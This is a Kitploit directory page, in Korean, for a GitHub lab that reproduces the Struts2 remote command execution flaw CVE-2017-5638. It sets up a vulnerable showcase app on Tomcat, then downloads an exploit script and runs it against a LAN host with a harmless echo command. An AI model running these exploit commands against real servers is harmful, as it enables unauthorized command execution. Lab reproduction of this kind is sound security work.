Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
test_struts2_vulnerability_CVE-2017-5638 — Mac OS X에서 struts2 취약점 CVE-2017-5638 테스트 | Kitploit
도구/GitHubGitHub/sjitech/test_struts2_vulnerability_cve-2017-5638
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsjitech/test_struts2_vulnerability_cve-2017-5638

test_struts2_vulnerability_CVE-2017-5638

Mac OS X에서 struts2 취약점 CVE-2017-5638 테스트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
9년 전아직 검토되지 않음

test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X

Mac OS X에서 struts2 취약점 CVE-2017-5638 테스트

테스트 웹 앱을 다운로드하고 tomcat에서 실행

root@kitploit:~
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

웹 앱이 http://localhost:8080/struts2 에서 실행되는지 확인

다른 머신에서 익스플로잇 스크립트를 실행하여 모든 명령 실행 가능

root@kitploit:~
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

웹 머신으로 돌아가서 /tmp/yyy 파일이 주입되었는지 확인

root@kitploit:~
cat /tmp/yyy

비디오: https://youtu.be/iQ_f-eG-EXg

도구 다운로드